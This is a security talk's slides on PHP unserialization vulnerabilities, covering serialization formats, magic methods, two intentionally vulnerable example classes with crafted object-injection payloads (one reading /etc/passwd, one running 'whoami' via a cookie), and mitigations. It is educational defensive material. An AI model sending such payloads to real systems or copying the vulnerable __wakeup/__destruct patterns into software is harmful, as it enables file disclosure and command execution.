SlideShare a Scribd company logo
1 of 31
Download to read offline
A Closer Look Into
PHP
Unserialization
S Ashwin Shenoi
php > system(“whoami”);
● S Ashwin Shenoi (@c3rb3ru5)
● 2nd year BTech CSE @ Amrita School of Engineering,
Amritapuri
● CTF Player @teambi0s
● Web Exploitation
● Organising team @InCTF and InCTFj
● Twitter: @__c3rb3ru5__
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
● Programmer defined data structure which consists of local data
(attributes or properties) as well as local functions.
php > echo “PHP Classes”;
class Test {
public $name;
public $age;
public function __construct( ) {
$this->name = "Ashwin";
$this->age = 19;
}
}
php > echo “PHP Objects”;
● An object is a data type which stores data and
information on how to process that data.
● An Object is an individual instance of the data
structure defined by a class.
● We define a class once and then make many objects that
belong to it.
$person = new Test( );
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Agenda”;
php > echo “What is serialization”;
● Converting a complex data structure such
as a class object or arrays into strings.
● Easier for transmission and storage.
● Stored representation of an object.
php > echo “What is serialization”;
● Example Scenarios:
○ Passing objects via URL Query parameters or cookies.
○ Storing object data in text or in a single database
field
■ serialize( ) the object to a string
■ Store the object into the database or text
■ unserialize( ) the stored string back to a PHP Object
php > serialization();
● Double
○ d:<value>;
○ d:12.1234;
● NULL
○ N;
● Integers
○ i:<value>;
○ i:100;
○ i:-200;
● Boolean
○ b:<value>;
○ b:1; // TRUE
○ b:0; // FALSE
php > serialization();
● Strings
○ s:<length>:“<value>”;
○ s:6:“Ashwin”;
● Arrays
○ a:<length>:{<key>;<value>;}
○ a:2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;}
■ // array( "name" => "Ashwin" , "age" => 19 );
php > $a = 5;
php > var_dump($a);
int(5)
php > echo serialize($a);
i:5;
php > $b = unserialize('i:5;');
php > echo $b;
5
php > var_dump($b);
int(5)
php > serialization();
php > $c = "Ashwin";
php > var_dump($c);
string(6) "Ashwin"
php > echo serialize($c);
s:6:"Ashwin";
php > $d =
unserialize('s:6:"Ashwin";');
php > echo $d;
Ashwin
php > var_dump($d);
string(6) "Ashwin"
php > serialization();
O:4:"Test":2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;}
object(Test)#1 (2) {
["name"]=>
string(6) "Ashwin"
["age"]=>
int(19)
}
O:<class name length>:"<class name>":<number of properties>:{ <properties> };
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “__Magic_Methods( )”;
● Reserved functions whose function names start with “__”.
● Magic methods are named after the specific action that leads
to their execution.
● All magic methods MUST be declared as public.
● Automatically called, so need not be explicitly called or
invoked.
● Magic methods can be called and executed after
unserialization.
php > echo “__Magic_Methods( )”;
__sleep( )
__wakeup( )
__toString( )
__invoke( )
__set_state( )
__clone( )
__debugInfo( )
__construct( )
__destruct( )
__call( )
__callStatic( )
__get( )
__set( )
__isset( )
__unset( )
php > echo “__Magic_Methods( )”;
● __construct( )
○ Normally used to initialise data in variables.
○ First method called after object creation.
○ If you do not explicitly declare it, then there will be a
default constructor with no parameters and empty content in
the class.
php > echo “__Magic_Methods( )”;
● __destruct( )
○ Perform some operations before destroying an object, such as
closing a file, etc
○ Called as soon as there are no other references to a
particular object, or in any order during the shutdown
sequence.
○ Unlike the constructor the destructor cannot have any
parameters.
php > echo “__Magic_Methods( )”;
● __wakeup( )
○ Called as soon as PHP encounters a unserialize( ) function.
○ Often used to rebuild database connections, or perform other
initialization operations.
○ This is kind of like the opposite of what the __sleep( ) magic
function does, which is automatically called when serialize( )
function is called.
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
So how on earth is this vulnerable?
php > echo “Vulnerability”;
● unserialize( ) function is SECURE, IF USER CANNOT
INFLUENCE THE INPUT.
php > echo “Vulnerability”;
● In order to successfully exploit an unserialize bug, two
conditions HAVE to be satisfied:
○ PHP Magic Method (eg. __destruct or __wakeup), that has
malicious code, or can start a POP chain.
○ All classes used for the attack should be declared and
imported properly by the time of unserialization, or else it
has to support class autoloading.
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Exploit 1”;
class Example1 {
public $file;
public function __construct( ) {
// Random PHP Code
}
public function __destruct( ) {
if ( file_exists ( $this->file ) ) {
include ( $this->file );
}
}
}
…..
// Random PHP Code
$data = unserialize($_GET[‘input’]);
// Random PHP Code
…..
php > echo “Exploit 1”;
…..
public function __destruct( ) {
if ( file_exists ( $this->file ) ) {
include ( $this->file );
}
}
…..
$data = unserialize($_GET[‘input’]);
http://example.com/?input=O:8:"Example1":1:{s:4:"file";s:11:"/etc/passwd";}
php > echo “Exploit 2”;
class Example2 {
public $cmd;
public function __construct( ) {
// Random PHP Code
}
public function __wakeup( ) {
if ( isset ( $this->cmd ) ) {
system ( $this->cmd );
}
}
}
…..
// Random PHP Code
$data = unserialize($_COOKIE[‘input’]);
// Random PHP Code
…..
php > echo “Exploit 2”;
…..
public function __wakeup( ) {
if ( isset ( $this->cmd ) ) {
system ( $this->cmd );
}
}
…..
$data = unserialize($_COOKIE[‘input’]);
GET / HTTP/1.1
Host: example.com
Cookie: input=O:8:"Example2":1:{s:3:"cmd";s:6:"whoami";}
Let’s get to a demo
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Mitigation”;
● PHP7 has added an additional parameter, “options”, to
the unserialize( ) function.
○ unserialize($str, [‘allowed classes’ => false]);
● Never use the unserialize( ) function on user
controllable input.
● Instead use JSON format.
○ json_encode( )
○ json_decode( )
Questions ?

More Related Content

What's hot

Decoupling Objects With Standard Interfaces
Decoupling Objects With Standard InterfacesDecoupling Objects With Standard Interfaces
Decoupling Objects With Standard Interfaces
Thomas Weinert
 

What's hot (19)

The Beauty and the Beast
The Beauty and the BeastThe Beauty and the Beast
The Beauty and the Beast
 
Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownparts
 
Drupal 8 migrate!
Drupal 8 migrate!Drupal 8 migrate!
Drupal 8 migrate!
 
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, GermanyLet's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
 
Lithium Best
Lithium Best Lithium Best
Lithium Best
 
Jiemamy inside 1
Jiemamy inside 1Jiemamy inside 1
Jiemamy inside 1
 
Drupal Field API. Practical usage
Drupal Field API. Practical usageDrupal Field API. Practical usage
Drupal Field API. Practical usage
 
Quebec pdo
Quebec pdoQuebec pdo
Quebec pdo
 
Current state-of-php
Current state-of-phpCurrent state-of-php
Current state-of-php
 
Laravel doctrine
Laravel doctrineLaravel doctrine
Laravel doctrine
 
What is DDD and how could it help you
What is DDD and how could it help youWhat is DDD and how could it help you
What is DDD and how could it help you
 
The Origin of Lithium
The Origin of LithiumThe Origin of Lithium
The Origin of Lithium
 
Decoupling Objects With Standard Interfaces
Decoupling Objects With Standard InterfacesDecoupling Objects With Standard Interfaces
Decoupling Objects With Standard Interfaces
 
PHPCon 2016: PHP7 by Witek Adamus / XSolve
PHPCon 2016: PHP7 by Witek Adamus / XSolvePHPCon 2016: PHP7 by Witek Adamus / XSolve
PHPCon 2016: PHP7 by Witek Adamus / XSolve
 
The Beauty And The Beast Php N W09
The Beauty And The Beast Php N W09The Beauty And The Beast Php N W09
The Beauty And The Beast Php N W09
 
Open Source Search: An Analysis
Open Source Search: An AnalysisOpen Source Search: An Analysis
Open Source Search: An Analysis
 
Xlab #1: Advantages of functional programming in Java 8
Xlab #1: Advantages of functional programming in Java 8Xlab #1: Advantages of functional programming in Java 8
Xlab #1: Advantages of functional programming in Java 8
 
PHPUnit your bug exterminator
PHPUnit your bug exterminatorPHPUnit your bug exterminator
PHPUnit your bug exterminator
 
Datastruct2
Datastruct2Datastruct2
Datastruct2
 

Similar to Closer look at PHP Unserialization by Ashwin Shenoi

12-OO-PHP.pptx
12-OO-PHP.pptx12-OO-PHP.pptx
12-OO-PHP.pptx
rani marri
 
SPL: The Missing Link in Development
SPL: The Missing Link in DevelopmentSPL: The Missing Link in Development
SPL: The Missing Link in Development
jsmith92
 

Similar to Closer look at PHP Unserialization by Ashwin Shenoi (20)

Magic methods
Magic methodsMagic methods
Magic methods
 
Lecture9_OOPHP_SPring2023.pptx
Lecture9_OOPHP_SPring2023.pptxLecture9_OOPHP_SPring2023.pptx
Lecture9_OOPHP_SPring2023.pptx
 
Php course-in-navimumbai
Php course-in-navimumbaiPhp course-in-navimumbai
Php course-in-navimumbai
 
Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"
 
What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applications
 
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionLithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
 
Synapseindia object oriented programming in php
Synapseindia object oriented programming in phpSynapseindia object oriented programming in php
Synapseindia object oriented programming in php
 
12-OO-PHP.pptx
12-OO-PHP.pptx12-OO-PHP.pptx
12-OO-PHP.pptx
 
Best Practices in Plugin Development (WordCamp Seattle)
Best Practices in Plugin Development (WordCamp Seattle)Best Practices in Plugin Development (WordCamp Seattle)
Best Practices in Plugin Development (WordCamp Seattle)
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
UNIT III (8).pptx
UNIT III (8).pptxUNIT III (8).pptx
UNIT III (8).pptx
 
UNIT III (8).pptx
UNIT III (8).pptxUNIT III (8).pptx
UNIT III (8).pptx
 
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering CollegeObject Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
 
PHP 8: Process & Fixing Insanity
PHP 8: Process & Fixing InsanityPHP 8: Process & Fixing Insanity
PHP 8: Process & Fixing Insanity
 
Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09
 
Effective PHP. Part 1
Effective PHP. Part 1Effective PHP. Part 1
Effective PHP. Part 1
 
SPL: The Missing Link in Development
SPL: The Missing Link in DevelopmentSPL: The Missing Link in Development
SPL: The Missing Link in Development
 
Core Php Component Presentation
Core Php Component PresentationCore Php Component Presentation
Core Php Component Presentation
 

More from Cysinfo Cyber Security Community

More from Cysinfo Cyber Security Community (20)

Understanding Malware Persistence Techniques by Monnappa K A
Understanding Malware Persistence Techniques by Monnappa K AUnderstanding Malware Persistence Techniques by Monnappa K A
Understanding Malware Persistence Techniques by Monnappa K A
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
 
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TKGetting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
 
Emerging Trends in Cybersecurity by Amar Prusty
Emerging Trends in Cybersecurity by Amar PrustyEmerging Trends in Cybersecurity by Amar Prusty
Emerging Trends in Cybersecurity by Amar Prusty
 
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
A look into the sanitizer family (ASAN & UBSAN) by Akul PillaiA look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
 
Unicorn: The Ultimate CPU Emulator by Akshay Ajayan
Unicorn: The Ultimate CPU Emulator by Akshay AjayanUnicorn: The Ultimate CPU Emulator by Akshay Ajayan
Unicorn: The Ultimate CPU Emulator by Akshay Ajayan
 
The Art of Executing JavaScript by Akhil Mahendra
The Art of Executing JavaScript by Akhil MahendraThe Art of Executing JavaScript by Akhil Mahendra
The Art of Executing JavaScript by Akhil Mahendra
 
Reversing and Decrypting Malware Communications by Monnappa
Reversing and Decrypting Malware Communications by MonnappaReversing and Decrypting Malware Communications by Monnappa
Reversing and Decrypting Malware Communications by Monnappa
 
DeViL - Detect Virtual Machine in Linux by Sreelakshmi
DeViL - Detect Virtual Machine in Linux by SreelakshmiDeViL - Detect Virtual Machine in Linux by Sreelakshmi
DeViL - Detect Virtual Machine in Linux by Sreelakshmi
 
Analysis of android apk using adhrit by Abhishek J.M
 Analysis of android apk using adhrit by Abhishek J.M Analysis of android apk using adhrit by Abhishek J.M
Analysis of android apk using adhrit by Abhishek J.M
 
Understanding evasive hollow process injection techniques monnappa k a
Understanding evasive hollow process injection techniques   	monnappa k aUnderstanding evasive hollow process injection techniques   	monnappa k a
Understanding evasive hollow process injection techniques monnappa k a
 
Security challenges in d2d communication by ajithkumar vyasarao
Security challenges in d2d communication  by ajithkumar vyasaraoSecurity challenges in d2d communication  by ajithkumar vyasarao
Security challenges in d2d communication by ajithkumar vyasarao
 
S2 e (selective symbolic execution) -shivkrishna a
S2 e (selective symbolic execution) -shivkrishna aS2 e (selective symbolic execution) -shivkrishna a
S2 e (selective symbolic execution) -shivkrishna a
 
Dynamic binary analysis using angr siddharth muralee
Dynamic binary analysis using angr   siddharth muraleeDynamic binary analysis using angr   siddharth muralee
Dynamic binary analysis using angr siddharth muralee
 
Bit flipping attack on aes cbc - ashutosh ahelleya
Bit flipping attack on aes cbc -	ashutosh ahelleyaBit flipping attack on aes cbc -	ashutosh ahelleya
Bit flipping attack on aes cbc - ashutosh ahelleya
 
Security Analytics using ELK stack
Security Analytics using ELK stack	Security Analytics using ELK stack
Security Analytics using ELK stack
 
Linux Malware Analysis
Linux Malware Analysis	Linux Malware Analysis
Linux Malware Analysis
 
Introduction to Binary Exploitation
Introduction to Binary Exploitation	Introduction to Binary Exploitation
Introduction to Binary Exploitation
 
ATM Malware: Understanding the threat
ATM Malware: Understanding the threat	ATM Malware: Understanding the threat
ATM Malware: Understanding the threat
 
XXE - XML External Entity Attack
XXE - XML External Entity Attack	XXE - XML External Entity Attack
XXE - XML External Entity Attack
 

Recently uploaded

TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 

Recently uploaded (20)

Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
TEST BANK For Principles of Anatomy and Physiology, 16th Edition by Gerard J....
TEST BANK For Principles of Anatomy and Physiology, 16th Edition by Gerard J....TEST BANK For Principles of Anatomy and Physiology, 16th Edition by Gerard J....
TEST BANK For Principles of Anatomy and Physiology, 16th Edition by Gerard J....
 
Less Is More: Utilizing Ballerina to Architect a Cloud Data Platform
Less Is More: Utilizing Ballerina to Architect a Cloud Data PlatformLess Is More: Utilizing Ballerina to Architect a Cloud Data Platform
Less Is More: Utilizing Ballerina to Architect a Cloud Data Platform
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Quantum Leap in Next-Generation Computing
Quantum Leap in Next-Generation ComputingQuantum Leap in Next-Generation Computing
Quantum Leap in Next-Generation Computing
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
Decarbonising Commercial Real Estate: The Role of Operational Performance
Decarbonising Commercial Real Estate: The Role of Operational PerformanceDecarbonising Commercial Real Estate: The Role of Operational Performance
Decarbonising Commercial Real Estate: The Role of Operational Performance
 
Navigating Identity and Access Management in the Modern Enterprise
Navigating Identity and Access Management in the Modern EnterpriseNavigating Identity and Access Management in the Modern Enterprise
Navigating Identity and Access Management in the Modern Enterprise
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Modernizing Legacy Systems Using Ballerina
Modernizing Legacy Systems Using BallerinaModernizing Legacy Systems Using Ballerina
Modernizing Legacy Systems Using Ballerina
 

Closer look at PHP Unserialization by Ashwin Shenoi

  • 1. A Closer Look Into PHP Unserialization S Ashwin Shenoi
  • 2. php > system(“whoami”); ● S Ashwin Shenoi (@c3rb3ru5) ● 2nd year BTech CSE @ Amrita School of Engineering, Amritapuri ● CTF Player @teambi0s ● Web Exploitation ● Organising team @InCTF and InCTFj ● Twitter: @__c3rb3ru5__
  • 3. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 4. ● Programmer defined data structure which consists of local data (attributes or properties) as well as local functions. php > echo “PHP Classes”; class Test { public $name; public $age; public function __construct( ) { $this->name = "Ashwin"; $this->age = 19; } }
  • 5. php > echo “PHP Objects”; ● An object is a data type which stores data and information on how to process that data. ● An Object is an individual instance of the data structure defined by a class. ● We define a class once and then make many objects that belong to it. $person = new Test( );
  • 6. ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation php > echo “Agenda”;
  • 7. php > echo “What is serialization”; ● Converting a complex data structure such as a class object or arrays into strings. ● Easier for transmission and storage. ● Stored representation of an object.
  • 8. php > echo “What is serialization”; ● Example Scenarios: ○ Passing objects via URL Query parameters or cookies. ○ Storing object data in text or in a single database field ■ serialize( ) the object to a string ■ Store the object into the database or text ■ unserialize( ) the stored string back to a PHP Object
  • 9. php > serialization(); ● Double ○ d:<value>; ○ d:12.1234; ● NULL ○ N; ● Integers ○ i:<value>; ○ i:100; ○ i:-200; ● Boolean ○ b:<value>; ○ b:1; // TRUE ○ b:0; // FALSE
  • 10. php > serialization(); ● Strings ○ s:<length>:“<value>”; ○ s:6:“Ashwin”; ● Arrays ○ a:<length>:{<key>;<value>;} ○ a:2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;} ■ // array( "name" => "Ashwin" , "age" => 19 );
  • 11. php > $a = 5; php > var_dump($a); int(5) php > echo serialize($a); i:5; php > $b = unserialize('i:5;'); php > echo $b; 5 php > var_dump($b); int(5) php > serialization(); php > $c = "Ashwin"; php > var_dump($c); string(6) "Ashwin" php > echo serialize($c); s:6:"Ashwin"; php > $d = unserialize('s:6:"Ashwin";'); php > echo $d; Ashwin php > var_dump($d); string(6) "Ashwin"
  • 12. php > serialization(); O:4:"Test":2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;} object(Test)#1 (2) { ["name"]=> string(6) "Ashwin" ["age"]=> int(19) } O:<class name length>:"<class name>":<number of properties>:{ <properties> };
  • 13. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 14. php > echo “__Magic_Methods( )”; ● Reserved functions whose function names start with “__”. ● Magic methods are named after the specific action that leads to their execution. ● All magic methods MUST be declared as public. ● Automatically called, so need not be explicitly called or invoked. ● Magic methods can be called and executed after unserialization.
  • 15. php > echo “__Magic_Methods( )”; __sleep( ) __wakeup( ) __toString( ) __invoke( ) __set_state( ) __clone( ) __debugInfo( ) __construct( ) __destruct( ) __call( ) __callStatic( ) __get( ) __set( ) __isset( ) __unset( )
  • 16. php > echo “__Magic_Methods( )”; ● __construct( ) ○ Normally used to initialise data in variables. ○ First method called after object creation. ○ If you do not explicitly declare it, then there will be a default constructor with no parameters and empty content in the class.
  • 17. php > echo “__Magic_Methods( )”; ● __destruct( ) ○ Perform some operations before destroying an object, such as closing a file, etc ○ Called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. ○ Unlike the constructor the destructor cannot have any parameters.
  • 18. php > echo “__Magic_Methods( )”; ● __wakeup( ) ○ Called as soon as PHP encounters a unserialize( ) function. ○ Often used to rebuild database connections, or perform other initialization operations. ○ This is kind of like the opposite of what the __sleep( ) magic function does, which is automatically called when serialize( ) function is called.
  • 19. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 20. So how on earth is this vulnerable?
  • 21. php > echo “Vulnerability”; ● unserialize( ) function is SECURE, IF USER CANNOT INFLUENCE THE INPUT.
  • 22. php > echo “Vulnerability”; ● In order to successfully exploit an unserialize bug, two conditions HAVE to be satisfied: ○ PHP Magic Method (eg. __destruct or __wakeup), that has malicious code, or can start a POP chain. ○ All classes used for the attack should be declared and imported properly by the time of unserialization, or else it has to support class autoloading.
  • 23. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 24. php > echo “Exploit 1”; class Example1 { public $file; public function __construct( ) { // Random PHP Code } public function __destruct( ) { if ( file_exists ( $this->file ) ) { include ( $this->file ); } } } ….. // Random PHP Code $data = unserialize($_GET[‘input’]); // Random PHP Code …..
  • 25. php > echo “Exploit 1”; ….. public function __destruct( ) { if ( file_exists ( $this->file ) ) { include ( $this->file ); } } ….. $data = unserialize($_GET[‘input’]); http://example.com/?input=O:8:"Example1":1:{s:4:"file";s:11:"/etc/passwd";}
  • 26. php > echo “Exploit 2”; class Example2 { public $cmd; public function __construct( ) { // Random PHP Code } public function __wakeup( ) { if ( isset ( $this->cmd ) ) { system ( $this->cmd ); } } } ….. // Random PHP Code $data = unserialize($_COOKIE[‘input’]); // Random PHP Code …..
  • 27. php > echo “Exploit 2”; ….. public function __wakeup( ) { if ( isset ( $this->cmd ) ) { system ( $this->cmd ); } } ….. $data = unserialize($_COOKIE[‘input’]); GET / HTTP/1.1 Host: example.com Cookie: input=O:8:"Example2":1:{s:3:"cmd";s:6:"whoami";}
  • 28. Let’s get to a demo
  • 29. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 30. php > echo “Mitigation”; ● PHP7 has added an additional parameter, “options”, to the unserialize( ) function. ○ unserialize($str, [‘allowed classes’ => false]); ● Never use the unserialize( ) function on user controllable input. ● Instead use JSON format. ○ json_encode( ) ○ json_decode( )